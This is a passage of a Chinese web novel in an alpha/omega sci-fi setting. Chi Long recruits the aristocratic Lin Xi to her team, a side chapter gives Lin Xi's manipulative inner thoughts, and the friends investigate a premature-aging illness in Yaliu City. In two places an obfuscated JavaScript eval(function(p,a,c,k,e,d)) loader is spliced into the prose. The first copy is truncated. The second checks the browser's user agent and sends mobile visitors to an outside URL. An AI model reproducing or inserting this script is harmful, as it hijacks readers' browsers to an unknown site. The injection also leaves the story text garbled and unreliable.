“王室更是注重脸面,三殿下的队友肯定都是精英的alpha,”尹霄耸耸肩,“反正林家应该会很想让会长参赛吧,毕竟一旦出风头,对林家来更是锦上添花。但能接受会长的队伍应该不多,啊……几乎可以说没有,毕竟就算不参加比赛,会长毕业以后在家族支持下,也会有很好的发展,因此,也会有人怀疑他不会为比赛努力吧。” “你都是从哪知道这些的?这是什么贵族辛秘吗?”看着滔滔不绝的尹霄,池泷实在好奇他的消息来源。 “星网啊姐姐,”一脸无语地指指池泷,尹霄不知道该摆出什么样的表情,拿出光脑给池泷看相关信息,“机械白痴就算了,连网都不上,池姐你真的不像同龄人。” “嘿嘿,所以多谢你们的照顾啦。”池泷向好友拱了拱手,转眼看到王室的出战名单,尽管三殿下已经转入中央军校,可这次王室也只派出了这一支队伍,其队友是和三殿下一起转来的王室军学生。 可这样,虽然三殿下是以中央军校的名义参赛,但王室却率先公布了名单? 很迷惑。 不过再想想,似乎也正常。 毕竟这支队伍一开始就仿佛是奔着恶心军部来的。 收回目光的池泷手指放在膝盖上敲了敲,想了一会儿才开口:“如果……” “好。”话还没说完,尹霄就翻了个白眼儿回复,“池姐看队友的眼光一直都是很好的,我信你。但我刚才也说,会长不一定会答应。不说这样有点打他‘未婚夫’的脸面,就他的身份和家境,也没必要通过比赛获得什么,你不要期待太高。” 也不一定是“未婚夫”,只是备选人之一,池泷心中默默说道,而且、而且林息也说自己现在是单身啊。 但这番话,她并未说出口。 “嗯,其实我想说,”严肃了表情,池泷认真地同二人商议,“这两次接触,我觉得如果林同学能加入我们的队伍,无疑是如虎添翼。虽然就两次,但他和我的配合也合得来,可队伍中不止我一个人,你们俩的意见也是举足轻重的。” “并且,我也想了很久,一开始虽然事出紧急,提出先前那样的解决方式,可心中总是有一股难掩的别扭,”她转头看着同时避开目光、抿起嘴角的两人,“对吧?你们也觉得吧?这是一场盛事,一场严肃认真的比赛,参赛的每一名选手基本都是冲着梦想或者未来去的。” “不尊重。”白簇罕见出声。 池泷点点头,说道:“对,这是对竞争对手的不尊重,对那位充数人的不尊重,更也是对我们自己的不尊重。随便进来的那个人,是我们要堵上未来的队友,我们却没办法把后背交给他,甚至还要时刻提防这件事败露。” “其实重金之下必有勇夫,有的人当然可以为了钱不要名声,说不定还能混个名次,提出什么异想天开的要求,就算没混到名次,拿到佣金也稳赚不亏,大不了我找人把他监管起来……” 说着说着,尹霄视线却更偏了,声音也越来越小,“但确实,一想到如果我们是那些没得第一的队伍,看着这样一个人压过我多年的努力获得胜利,我绝对会怄死。” “我们必须是第一。”听见尹霄的话,池泷忍不住笑出声,而她充满果敢的这句话也引来另外两人的注视,要知道池泷以前更多时候想的是要低调偷溜,而不是张扬获胜。 虽然三人曾经也想过,或许通过大赛,可以更好地实现白簇和尹霄的愿望。 可在认真分析情况后,对手太多,实力太强,三人从没坚定过“必得第一”想法。 此刻队长这样说了。 “第一?”白簇的眼睛里爆发出前所未有的利光,手指乱动,似乎已经在摩拳擦掌。 “嗯,为了你们,也为了我。”池泷心情沉重,“很抱歉,听起来很自私,我突然有了一个必须通过大赛实现的愿望。” 嘴唇嚅动,她还是没把另一件事说出口。 “说什么呐,”尹霄伸手打了她一下,“你有这样的动力,我们高兴都来不及。说实话,听到你这句话,我俩才真的对大赛多了点信心。” 池泷看了看身边的好友,心底酸涩,他们总是那样有眼力,自己不想说的事情不会过问,确定自己安好后,就会默默支持她,哪怕自己心里也没底。 这样的情景,再次让池泷想起了吴天语三人。 如果自己有一天像吴天语那样消失,这俩人会怎样?或许比阿瑞纳和李光还要焦急。 看着白簇两眼冒光和尹霄突然自信的样子,池泷又觉得,或许,那会是一种自己绝不想看见的样子。 摇摇头,池泷继续说,“所以我会向他发出请求,如果他愿意,可以用接下来的委托,做为我们四人的磨合考察期。” “嗯,如果是会长的话,我们距离第一的距离就会从99步,变成10步。”正在光脑上操作什么的尹霄分析道,“你们不知道会长有多强,当然我也不知道,林家对此一直保密,可我就是觉得他很强。” 那确实,池泷在心底默认,随即用光脑给林息发了一条讯息,看着自己“linxx”的备注,她想了一会儿,还是决定不修改。 一串字母在其余的字体之间显得格外凸显。 “先问问,被拒绝了再说。”池泷这样说道,可心底浮现起前所未有的紧张、期待和害怕。 35.想法(omega视角)[番外] 说回林息。 回到酒店的林息点了一瓶红酒,他很讨厌酒精,所以也只是倒了一杯,坐在窗前。 窗外是酒店的围墙,只能看见忙碌的几个黑影。 有限的景色。 小口抿着红酒,林息思绪飘了很远。 事情有些脱缰,这是他脑海里闪过的第一句话。 一开始,他只是想要一个追随者——忠心的、虔诚的追随者。 经过长久的观察,他清楚地了解她的一切。 池泷是很好的选择,她对自己有莫名的滤镜和信任,为自己出头、在公共场合表示过对自己的敬佩。 而自己作为被追随者,可以给她一些好处和优惠,建立自己优秀的形象,让她死心塌地地依靠着自己。 后来,他和她之间有了外人难以介入的秘密。 出于对追随者的保护,他利用家族和君主长久以来对自己的信任,选择向其隐瞒了一些事情。 这是一种无所谓的背叛,他并不觉得可耻,反而蠢蠢欲动,和自己偷偷反抗父亲的命令一样,让他隐秘地兴奋。 本来,利用已经发生的事情,他可以顺利拿捏池泷的心态,胡萝卜和大棒,谁也逃不过这个套路。 日子久了,他甚至可以将池泷从她的小队中剥离开来,完全成为自己的人。 但或许是阅读太多有关池泷的资料,或许是自己太过于轻敌,更可能是,她和纸张上展现出来的那个人完全不一样。 自己毫无痕迹侵入的同时,她也带来了新奇的反馈。 那双黑白分明的眼睛里满是真诚,无论自己用多少察言观色的手段,总也看不出一点不情愿的情绪。 第一次他在一个人身上,感受到了“自由”的气息。 她是自由的,她的眼里,他也应该是自由的。 他开始讨厌“追随者和被追随者”的套路,但绝不像洛熙说的那样是喜欢吧,荷尔蒙消散的那天,他们的关系就会岌岌可危,林息讨厌这样的关系。 他想要一种什么样的关系呢? 想起她身边的每一个人都说她“是个好人”,想起老师们一致的好评,林息想,太肤浅了,应该更深一点。 想起尹霄坐在指挥室里闪亮的眼睛、想起她总愿意搭着人群避之不及的白簇的肩膀,林息觉得还可以。 但亲眼看见私下里,他们磨练出来的默契,他们为对方义无反顾奔来的情景,他又觉得不行。 为什么不行?林息问自己,你心底那种黑暗的、压抑的东西是什么? 红酒进入喉咙,酸涩无比,窗外墙壁撒下的阴影,将林息全部覆盖,他仿佛在一个人身在枯黑井底。 他选择了池泷,可池泷不止他一个选择。 虽然他早就知道。 第二杯红酒喝完,酒量极好的林息却有些迷糊,酒精的刺激带来短暂的欢愉,也给他一点勇气。 羡慕,林息想,真的好羡慕,她的身边有那样相互关爱、互相信任的人。 不用跟他一样步步算计,得到她的关注和关心,不用像一只阴沟里的老鼠,见不得光地偷取属于别人的东西。 自始至终,他都没想过有一天得手后,要让她为自己做些什么。 他只是想让她在那儿,一回头就能看见的地方,在那儿就行,这样自己会觉得安心。 最起码,这样自己就不是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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36.第34章 几秒后,收到林息回复的池泷,在飞艇上差点蹦起来,马上又小心压制着,瞅着光脑嘿嘿发笑。 “她在接受咱俩组队申请的时候,都没笑这么甜,”靠在白簇臂膀上,尹霄噘着嘴小声嘟囔,看着池泷仍旧笑着的模样,不禁又开口,“呵,哪里甜了,这分明就是傻。” 池泷转过头,尹霄依旧靠着,语气懒洋洋:“答应了呗。” 嘴角快咧到耳旁的池泷点点头,又转了回去。 “会长不会也傻了吧,”手指去捏白簇梆硬的肌肉,尹霄继续嘟囔,“这种吃力不讨好的事情也做。” 随即他眯起眼睛,语气带着不敢置信:“会长不会觉得——我们真能得第一吧?!” 唰地一下坐起,他掰过白簇的脸,俊脸在手掌的摧残下不断变形,但依旧没有表情。 尹霄语气带着压抑的兴奋和骄傲:“阿簇,天呐,会长肯定是觉得我们很强才愿意来的!他觉得跟着我们有希望冲顶!这是肯定、是认可!” 随即他放开手,给眼前的女人顺了顺毛:“当然我的阿簇也超强的,但会长就是莫名感觉很厉害。” 虽然白簇无法理解自己的男朋友为什么一边说着那个令池泷兴奋的男人傻,一边又对不知所谓的“肯定”表现出傲娇的开心。 但她知道,这俩人一定都挺喜欢刚才那个男人的。 她也有种感觉,想和那个男人打架。 他绝对比他表现出来的厉害还要厉害。想 到这儿,她偷偷瞧了一眼还抱着光脑纠结要回复什么的池泷,心底暗叹,估计到时队长绝对不会站在自己这边,她有预感。 “委托。”白簇决定安抚下两人过于兴奋的心情。 “啊对,我还没给你们说一下现在的情况。”被提醒的池泷大脑热度突然冷却,她放下光脑,三人鬼鬼祟祟地凑在一堆。 面对眼前的正事,尹霄也快速恢复平静,听池泷说明。 将最近的经历和收集到的信息大致说了一遍,隐去了一些需要被隐藏的事情,池泷尽量语气自然地讲述着一切,在讲到远郊的事情时,还特意隐去了时间。 白簇和尹霄对视了一眼,并未多说什么。 “所以你希望我们过来,是为了飞燕吗?”听完讲述,聪明的尹霄很快就想通了的关窍。 “嗯,尽管洛熙的话也不能尽信,但他特意给我们透露了信息,想必是有什么用意,”回想和洛熙的接触,池泷唯一肯定的一点就是,“星警调查表明,飞燕和吴天语说不定也有关系,在吴天语相关的事情上,洛熙应该不会撒谎。” “可那个洛熙也只是说,有人看到飞燕在亚硫城内出现过,城市那么大,这不就是大海捞针么。”皱着眉头的尹霄又开始拨弄光脑。 不自觉地,池泷突然想起那两台黑色的机甲,她表情透露着难以掩盖的厌恶,但随即又调整好,讨好地说道:“所以麻烦我们的指挥部了。” 接着她又看向白簇,白簇右手握拳在胸前砸了两下。 本来池泷想将两人放在酒店,自己再去找李光说一下关于洛熙的事。 可另外两人说什么也不愿意放她一个“破破烂烂的病号”独自前去,便硬是跟在身边了。 池泷联系了李光,李光这次像早早就守在了光脑前一样,很快就回复她可以直接来厂区。 于是这次顺利地进入厂区,甚至飞艇直接停在了办公区。 池泷一行一出来就看到李光叔侄站在外面,仿佛已经等候多时。 李光上前几步,将池泷多次打量,随即小心握住她那只未受伤的手。 “孩子,辛苦了。”看上去似乎有很多话想说,最终李光也只开口道了这一句。 “叔叔今天看到新闻就急得不得了,特意托了关系去询问你们在不在那艘飞艇上,是否安全。”李青看到池泷的时候,明显松了一口气,“但不知道为什么,这件事对外保密很严,我们知道的和新闻上采访的信息基本没什么区别。” “看到你的信息,我这心里才彻底放松了下来,小林还好吗?他怎么没来?”李光语气情真意切,让池泷心中稍暖,“如果你们这样好的孩子,因为这种莫名其妙的意外而……我和阿瑞亚到死也赎不清身上的罪。” “上次我离开,让你们在门口受了委屈已经极为愧疚,为此还特意让小青帮我,给你设置了特殊的通讯声,”握住池泷的手一直力道轻轻的,似乎很怕弄痛了她,似乎又很怕放开她就会消失,“一切医疗费,都由厂区承包,孩子,你们一定要去我们这里最好的医院去检查。” 下意识想拒绝李光的好意,池泷突然想起什么,又按捺了心思,说道:“小林也一切安好,不过有点疲惫先回去休息了,所以由另外两位朋友陪我来。谢谢您的好意,医院我们一定会去的,不过我们做委托,危机情况也是经常遇见的,您也不必太担心。” “只不过确实很少遇到这么危险的。”尹霄在后面小声接了一句。 尴尬地笑笑,池泷向叔侄二人介绍自己的朋友,“他们特意从央星赶来帮忙的。” 叔侄二人并未因尹霄刚才的话生气或者尴尬,反而看起来更愧疚了些,他们向尹霄白簇表达了感谢,尤其是李青,得知尹霄是omega时,她脸上的表情十分震惊,还有种说不上来的复杂。 估计是想到了小溪,池泷心中暗叹,随即三人被迎进了办公室。 办公室内,池泷发现李光并未将李青支走,便也没有犹豫,将从洛熙那里得到的信息尽数告知,包括怀表。 “你是说,洛熙他不愿意给出怀表,并且坚持怀表中并没有什么录音?”李光一脸不解地问道。 “没错,”池泷回答,但她也说出了自己的推测,“可从他的行为表现来看,倒不像表中没什么信息的样子。” 想起洛熙过于明显、没想隐瞒过的“我这里绝对有问题”的表现,池泷也摸不准:“毕竟按他的说法,怀表是他特意偷拿出来的,哪怕一开始真的没什么录音,被他拿走后与吴天语谈话期间,是否录了别的东西也不知道。” 如果真的没什么,在清楚三人约定的前提下,表现浮夸还不肯还表;如果真的有什么,却什么也不说。 “表中有什么可以覆盖录音或者删除录音的按钮之类的吗?”尹霄开口。 “有的,只不过操作比较复杂,我们一般都会自动录音,日子久了自然就新旧覆盖了。”李光回复。 此时李青正带着家政机器人,给池泷他们挨个倒水,走到白簇身边询问她要喝什么时,白簇淡淡瞥了她一眼,配着冷酷的表情,活脱脱一副不好惹的样子。 眼看着李青不知道是尴尬还是害怕,连身体都有点僵硬,池泷赶忙打圆场:“她不喝,什么也不喝。” 而李青在这种情况下,仍旧哆嗦着手好像准备去拿些水果,池泷又赶忙说:“也不吃什么,谢谢你。” 白簇一直对陌生人具有高度的警惕心,不然三年时间,同班同学对她的心情也不会是又爱又恨了。 所以池泷还挺佩服李青的勇气,在遭到被同学称为“绝对会害怕看到第二次”的冷脸后,竟然还想问问白簇要不要别的。 所幸李青也没再坚持。 李光经过思考后,也并不清楚为什么洛熙会如此排斥归还怀表,加上池泷这惊心动魄的一天,便催促她赶紧回去休息。 临走时李光也表示:“他可能是想留些天语的东西在身边吧,所以能知道怀表在洛熙那里,我也心安了,他不还一定有他的道理,对天语的事情,洛熙绝不会轻视或者撒谎。” 这和池泷想法一致。 临走时,池泷特地问了一下小溪的近况,李青微微一愣,而后温柔地笑着说“一切都好”。 拒绝了李青送他们一程的想法,她也没坚持,将三人送到门口就回去了。 三人走出厂区,天色挺晚,池泷突发奇想,领着两人去了自己上次去的餐厅吃饭,服务员看到池泷到来,一脸惊喜。 又看到池泷破破烂烂的样子,表示了关心。 她摆摆手示意自己这是不小心弄的。 假装没看见服务员无语的表情,池泷惊喜地问道:“你还记得我?” “拜托,我们这里生意惨淡,一共就那么几个客人,我当然记得住啦。”还是像上次一样元气满满,但池泷总觉得他看起来瘦了一点。 经过询问,服务员捏捏眉间,脸上难得露出一点疲惫:“我爸妈这两天陆续生病了,去了医院,医生说虽然不知道病因是什么,但这几年总会有几个人得这种病,医院和科研所也在研究,估计是因为亚硫城濒临未知区域的原因,什么辐射啊能量那种导致的。” “要不去央星看看呢?”池泷提议。 “哎呀,那花费就更高了。好在医院说这几年跟央星那边也有合作,暂时研究出一种特效药,能缓解症状,就是贵了点。”服务员笑笑,“我们老板本来说要出钱帮我的,后面看我不收,又说可以无息借钱给我,那怎么好意思呢。他虽然经营理念怪怪的,可对我们这些员工都包吃包住,工资也很优渥,逢年过节发还发各种福利,是个难得的良心老板了。” “于是我最近就一天打好几份工。”虽然面容憔悴,可服务员说起这些时,嘴角一直挂着温暖的笑意。 “什么症状呢?”一直看菜单的尹霄抬起头,甜甜的微笑让服务员眼前闪了一下,看起来被惊艳到。 “就是浑身无力,气色两虚的样子,”服务员甩甩头,说起这些如数家珍,“去做了各项检查,但找不到具体病因是什么,反正结论就是器官有了不属于这个年龄段的过度衰老。虽然不是过于急性的,但还是在以不符合年龄情况的速度衰老着。” “简单说,就是60多岁的人有着80岁的五脏。”服务员总结道。 三人相互看了一眼,池泷再次确定:“医生说每年都有这种情况?” “没错,”服务员叹了口气,“那位医生说,最近这几年每年都有,人数也年年增长,这种事早就已经上报了城里,所以才有跟央星的那个合作,吃药延缓衰老速度。” “哪个医院?”池泷再次询问。 “就是我们这里最好的那家医院,亚硫公立医院,”服务员回答,忽而又弯腰小声说,“就那个吴天语,打钱没收到的那个医院。” “哎呀,反正别说这些糟心事了,”他直起身子,想起自己的本职工作,“快点单吧,先吃饭再说,你们的工作看起来也是怪危险的,吃饱了才能继续战斗啊。” 池泷帮三人点完单,尹霄又拿起光脑在玩,突然他说:“我们一路走来,一直有股奇怪的味道,就是你说的红花?” 池泷点点头,尹霄又继续说:“这家店反而味道很轻啊。” “因为他们老板不喜欢这种花。”池泷回答。尹霄表示了赞同:“我也不喜欢。” “阿簇呢?”尹霄询问刚才点单也没说话的白簇。 “不喜欢。”硬邦邦的语气没带有任何犹豫,紧接着她看向池泷,又说了一句,“人,也不喜欢。” “啊?”池泷愣了一下,随即反应过来,“你不喜欢李青?” “可能是讨厌她看我的眼神吧。”尹霄接茬,想起那个alpha看自己的样子,总觉得心里毛毛的。 “都有,不知道。”心里烦得很,白簇总觉得到了城里之后,自己就一直烦躁无比,可能就因为这样,看谁也不顺眼,包括那个眼神奇怪的、想让人掰断她的胳膊的alpha。 于是池泷又给他们讲了下李青和李小溪的事。 “难怪他那样看我,原来是羡慕。”尹霄勾起唇角,随即又坏坏地说,“当然,也有可能是嫉妒吧?比如想挖了我的腺体给她孩子换上什么的,电影里一直有这样的桥段。” 伸出手指敲敲尹霄的额头,池泷很无语,李光叔侄一直都很热情友好,怎么能让尹霄有这种奇怪的联想。 “所以少在光脑上看些奇怪的东西。”这时餐食也端了上来,池泷说完这句话就开始投入吃饭,毕竟服务员说得对,先填饱肚子才能继续干活。 三人风卷残云,美美饱餐一顿。 临走时,池泷还打包了一份,为此服务员特意给他们送了小零食,说看他们吃得那么美味,忍不住想再投喂一下。 回到酒店,三人分开,白簇和尹霄开了一间房,行李放在压缩包里,直接拎包入住就行,而池泷则在回自己房间之前,站在了林息门口。 犹豫了很久,池泷伸出手想敲门又放下,来回重复几次后,她看了看手里的餐盒,里面水珠密布,要是再不吃,恐怕味道都不好了。 就在指节和门刚要接触时,门开了。 亚麻发色、琥珀眼眸的林息,穿着一件浴袍站在门口,浴袍底下露出白花花的小腿。 “!”池泷迅速环顾左右,走廊没人,下一秒顾不上是否礼貌,就将林息一把推进了门内,自己也跟了进去,还顺手把门锁上了。 祖宗。 池泷心中仿佛万马奔腾,除此之外,她也产生了迷茫:明明出秘密任务的又不是我,被人看到会产生麻烦的也不是我,我到底在紧张什么? 林息身上带着一股清香,发丝微湿,估计刚洗完澡。 此刻他坐在床边,翘着二郎腿,莹白的小腿在灯光底下像一件上好的瓷器。 清淡冷漠的脸上却带着微微笑意:有事?” 他歪歪头,发丝上一滴小水珠缓缓滑落,瞬间被浴袍吸收。 这种云淡风轻的样子,让池泷产生想敲他脑门的冲动。 没敢四处看,池泷只盯着他那张气质绝佳的脸,一时间脸红心跳。 “你吃饭了吗?”手忍不住握了握餐盒,池泷赶紧找话题。 “嗯?”刚才进门时,林息就闻到一股饭香,他不着痕迹地看了眼,对方将某样东西蹩脚地藏匿在身后,笑了笑,随即说,“还没,回来就睡了很长一觉。” “啊,那正好,”池泷眉眼弯弯,将身后的东西递出,“我们刚才去吃饭,想着也给你打包一份,那家餐厅还不错,环境、卫生都挺好的,我吃过两次了。” “是吗?”接过餐盒的林息低眉顺眼地打开,餐盒里的隔板将荤素分开,底下那层则是米饭。 只是他看起来好像没食欲,池泷想,想起他下午生气的样子,鬼使神差地,池泷出声:“下次也带你去。” 以后说不定就是一个小队的人了,这样的想法让池泷有点紧张和激动,可随即想起两人之间复杂的关系,胸口中间又像堵了什么东西。 听到这句话后的林息眉眼微扬,池泷余光发现窗边的圆桌上放着一瓶红酒,瓶塞打开,但应该没喝完,她赶紧管好目光,看着眼前的人,不然现在他不会说话这么条理清晰。 “我们是什么关系?”莫名地,池泷问出了这句话。 这句话或许藏在心底很久了,她听见自己声音的时候,还愣了一下。 “别反问我。”池泷也说不上来自己为什么这么大胆,竟然在林息说话前,率先出声。 其实她在空余时间,尽管痛苦且不愿,也强迫过自己去想这件事,但她最终也没捋清楚两人的关系。 一开始只是她敬佩和喜爱这位不可能接触到的人,那样勇敢且坚强的人,她对他一直有着极厚的尊重和信任。后来因为一些事,二人变成了“加害者”和被害者。 经过乔城的事,两人解除了不必要的误会,一定程度上确定了利益共同体的定位,同时又有点革命友谊。 在亚硫城看到林息时,自己发自内心地开心,但经过远郊树林的事,池泷又产生了迷茫。 她应该为这段关系负起责任,可林息明确表示过不想让她负责。 只是“救死扶伤”、只是各取所需、只是可以被当做交易,甚至他对自己诚挚地道了歉。 听到这些话,自己心里不可能不生气,甚至还有些隐隐的伤心。 现实来看,这种事情一旦暴露,受伤的绝对只会是林息。 明明自己也算半推半就,他还对强迫了自己而有愧,越想,池泷越觉得自己不是人。 尽管今天的袭击,两人已然有些“生死之交”的意味,可想起树林,池泷还是如鲠在喉。 是交易吗?可林息完全没必要因为想做交易,就陪自己冒险。 是朋友吗?可朋友之间不会做那样的事。 总……总不能是姘头吧,这是最坏的想法。池泷欲哭无泪,绝对不可以!自己绝不接受! 很快他们会成为亲密的队友,她决定把主动权交给他,由林息告诉池泷,她要怎么看他们之间的关系。 而林息被抢话后,一直在佯装不在意地观察池泷的表情,令他吃惊的是,她对自己竟然还有信任。 那双乌黑眼眸清澈无比,里面透出自己的倒影。 忍不住变换了坐姿,林息将双腿放平合拢,手放在膝盖上,腰背直起。 “哪怕我没能成为你们的队友,”林息缓缓出声,清冷的声音带着一丝凉爽,抚平池泷胸口堵塞的热意,“我们可以是朋友吗?” “亲密的朋友,”房间里的灯光真的太美,照得那双琥珀色眼眸熠熠生辉,粉唇轻启,一字一句,“不会被背叛、不会被利用、不会轻易离开的、需要你帮忙的、特殊的朋友,直到死亡将我们分开。” “好!”听到“朋友”这两个字时,池泷忽略心底一抹奇怪的失落感,只觉得高兴无比,她快速地大声答应,再回味时,只剩下了开心。 好像树林里的一切都没发生。 她挠挠头,跟林息说了下小溪一切都好,便匆匆撂下一句“你先吃饭,我也走了,明天中午11点咱们楼下集合。”离开。 然而开门时忘记门已上锁,用力没拉开门,反而差点撞到门上,惹来林息轻笑。 尴尬的她赶忙开锁离开,回到房间洗漱时,她还在想,两人应该能回到树林事件发生前的状态,真的是……太好了吧。 第二天中午,吃过饭的池泷早早坐在熟悉的大厅沙发上等待。 然而十一点已到,剩下的三人却不见人影。 11:05,池泷点开新一期的酒店杂志开始阅读。 11:10,酒店工作人员送来一杯温水,池泷道谢。 11:15,拿出光脑,池泷给三人各发了一个“?”,却没有人回复。 11:20,池泷起身,决定上楼去找人。 刚准备迈步,却恰好看见白簇牵着长袖长裤的尹霄出了电梯,尹霄脖子上还围着一份轻薄的丝质脖巾。但包裹得严严实实的尹霄看起来并不燥热,身上也没什么汗渍,估计这一身儿应该价格不菲。 池泷怔了一下。 而两人也拖拖拉拉地走到她身前,或许可以说只有尹霄在拖拉,他整个人几乎趴在白簇背后,一副不愿意起身的懒怠样儿。 甚至连打招呼也有气无力,白簇倒是精神奕奕,看起来比昨天平静快乐了许多。 大约知道发生了什么的池泷决定视而不见,她更好奇尹霄这身衣服的制作材料。 不过白簇突然出声询问:“林息?” “哦对,”池泷这才想起还没来得及给两人介绍林息的伪装身份,“虽然他现在也叫林夕,不过要记住是夕阳的夕。就这些,别的没有什么要注意的。OK,人齐了,直接说正事吧。”一边说,池泷一边转身,身后的楼梯上,做好伪装的林息正缓缓走下来。 白色丝绵的上午短袖,配着一条浅灰领带,不带一丝褶皱的黑色西裤和皮鞋,整个人看起来要去参加什么正式场合。 于是池泷再次怔了一下,没看见尹霄在她回身时,懒懒抬起眼皮的侧目。 而走近之后,池泷更觉得无语,要知道毕竟任务性质使然,林息之前都一直穿着低调得很。 但现在林息胸前的那个标志,她认识,虽然不晓得叫什么。 毕竟这个牌子连光视上都没有广告,只是池泷以前在央星经过某家服装订制店时,才偶然发现的。 Logo虽然不起眼得很,但低调装修的橱窗里展示的商品,前面缺少的价格标牌和明眼人都能看出来的高端裁减及用料,是池泷没敢入门去瞻仰一遍商品的原因。 这一个个是怎么了?池泷摸不着头脑,为什么今天大家都不太对劲? 好在,此时四人汇合了。 看见尹霄的林息也愣了一下,随即平静地挪开眼,于是“尹霄闭眼趴着、白簇好奇盯着林息、林息看着门口仿佛在看景色、池泷看看这个再看看那个”的局面,产生了。 最后还是池泷叹了一口气,示意大家先坐下。 坐下后,尹霄依旧靠在白簇手臂上,但好歹先出声,打破了一种尴尬的平静。 “会长好。”声音也是努力用劲了,反而显得有点沙哑,引得林息收回了目光。 “好久不见。”伪装后的声音其实很甜美,但昨天因为有更重要的事,尹霄并未在意。 此刻听见这句话,他不禁激灵了一下,起身坐正,搓了搓胳膊。 “会长你这样的声音我还不习惯,天呐,和你的气质也太不搭了。”说完这句话,坐在旁边的白簇也点点头,接了句,“不酷。” “不酷,打人也照样挺疼。”池泷接过话茬,说道,“等会要出任务,你穿这身儿没关系?” 没见过世面的池泷害怕有风险的任务,会破坏这身不知价格的装扮。 “我觉得第一次正式入队,穿得正式点比较好。”林息平静的话语引来三人的注视,碧蓝眼眸里透着认真,“这套我挑了好久。” 所以这就是为什么迟到吗?池泷哭笑不得。 “我要去换掉吗?”林息将三人挨个儿看了一遍,最后是尹霄说:“没事儿,会长要是想穿就穿着好了,池姐不说的话,我都看不出来这衣服有什么特殊的,明面上,还没我穿得奇葩。” 于是池泷趁机询问了这种神奇布料的来历,才得知几个月前探索队在探索月轨1线的未知区域时,牺牲了50多人带回了一种新植物。 这套衣服就是科学家利用这种新植物研究出的,透气吸汗还极具凉意,更重要的是具备一定的防御能力,白家弄了点布料准备给白簇,却让白簇直接送给了尹霄。 “阿簇身量比我大,她做一身短袖的布料刚好我做一套长袖长裤,还能多弄出一根脖巾。”奶白布料看起来就像普通的棉布,如果这套衣服不是在夏天穿,一般人绝对看不出来它的价值不菲。 “XL10559号生物正在进一步研究,如果实验成果,以后会进一步用于探索队及军队里,改善他们的防御条件。”林息淡淡补充,看起来他对这种植物也有不浅的了解。 正事要紧,池泷也没再继续好奇,考虑到除了她之外的三人都还没用餐,四人决定边吃边说。 白簇是绝对的肉食爱好者,胃口还大,所以这顿早午餐,她眼前的三大盘食物里见不着一点绿色,她虽面若冰霜,优雅地拿着刀叉,可切割和送往的速度让人只能看见手部的残影; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964684|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尹霄虽然荤素搭配,量相较于一般omega来说也算多,却更偏好根茎类食物。类土豆等富含淀粉的蔬菜水果更合他心,他只拿着一把叉子戳起一大块类土豆,看起来慢条斯理地咀嚼,但类土豆体积却以肉眼可见的速度减小着; 而林息就让池泷感到比较神奇了,虽然知道他不挑食,可他端的一盘食物,荤素营养搭配都比较均衡,量也适宜,池泷甚至都怀疑,如果真的有一名营养师在这儿,林息的选择可以说是酒店提供的餐食里营养师最愿意搭配的那一种了。 他使用的是筷子,这点倒是和池泷的偏好一样。 此刻林息正优雅地夹着食物,咀嚼和吞咽都像一副画卷,优雅淡然得让人心生好感。 端起白水喝了一口,池泷感慨这就是贵族的修养吗,可她瞥了瞥大快朵颐的另外两人,又觉得应该也不是所有贵族都注重这个。 看三人吃得差不多,池泷也开始讲述今天的计划。 根据前几天收集到与吴天语的信息,池泷希望尹霄能帮忙去城中寻找飞燕的踪迹,她对他们也所知甚少,只有一条“可能他们都喜欢穿黑色连帽衫”的信息可供参考; 另外昨天他们在餐厅听到的有关医疗项目的信息,那家医院和吴天语也挂了钩,所以需要人前去调查。 所以,兵分两路是最好的选择。 “你们真的就那么信那个洛熙?”咽下口中的食物,尹霄不急不缓地问道。 池泷看了林息一眼,对方依旧专心吃着饭,她便回复:“倒也不是信,只不过他在吴天语相关的事上不会撒谎,可以说,他是最想让他恢复清白的人之一。” “年少的恩情,青年的扶持,晚年的尊重,他说起吴天语的表情比珍珠都真。”池泷叹了口气,她捉摸不透洛熙的刻意引导是想做些什么,但暂时来看,应该和委托是殊途同归的。 “行吧,”拿过湿巾擦了擦手,吃饱喝足的尹霄精神比刚才好了不少,他嬉皮笑脸,“但我刚来,对城里不像你们这么了解,不如这次我和会长一起,池姐你和阿簇一起吧?” 被这个提议一惊,池泷还没来得及反应,就听正在擦嘴的林息回复道:“我可以”。 OK。当事双方都同意了,那她也没啥好说的。 于是就变成林息和尹霄去调查飞燕,她和白簇去往医院。 分工完毕,两位omega一同出发,她看着两人走远的背影,没什么亲昵的动作,但间距倒也不是那么远。 又转过头看见正在吃第四盘的白簇,池泷有种当老妈子的感觉。 端起白水又喝了一口,池泷感慨:这可能就是队长的命啊。 而林息和尹霄这边出了门,林息预定的飞艇早已在门外等候,两人上了艇,由于是无人驾驶,尹霄便拿出光脑拨弄着,很快一副等比例缩小的亚硫城投影浮现在二人面前。 看着地图,尹霄摸着下巴说道:“虽然说在城内发现的飞燕,可这附近哪有能藏那么多人和物的地方,除了城外,可那里大多是一些荒山。” “先去这里,”林息指了一处地方,“这里就在吴天语家附近,由近到远的调查吧。” 尹霄表示同意,飞艇缓缓起飞。一时间两人陷入沉默。 尽管两人同在学生会,甚至一个是学生会会长,一个是会长秘书,甚至是学生会唯二的两个omega,可实际上两人的交流也没有一般人想象的那么多。 一是因为林息神龙见首不见尾,轻易见不到; 二是因为他也很少麻烦尹霄去做些什么,一般自己就能处理好。 而尹霄呢,虽然自小就从父母那里听过林息这个“别人家的孩子”,但同为贵族,有些捕风捉影的事也隐约听说过,所以他对林息的感觉比较复杂。 他很佩服眼前这人的坚毅,但也很理智地知晓,像他这样的人,离着越远越好。 因此,两人的交流一直都是比普通同学多一点,比朋友少一点,谁知道造化弄人,这会儿两人竟然变成了磨合期的队友。 “为什么叫我出来?”和印象中一样一直冷漠淡然的声音响起,尹霄被打断了思绪,他一直都挺好奇,以后会不会有事、有什么样的事能打破会长一直以来岿然不动的平静。 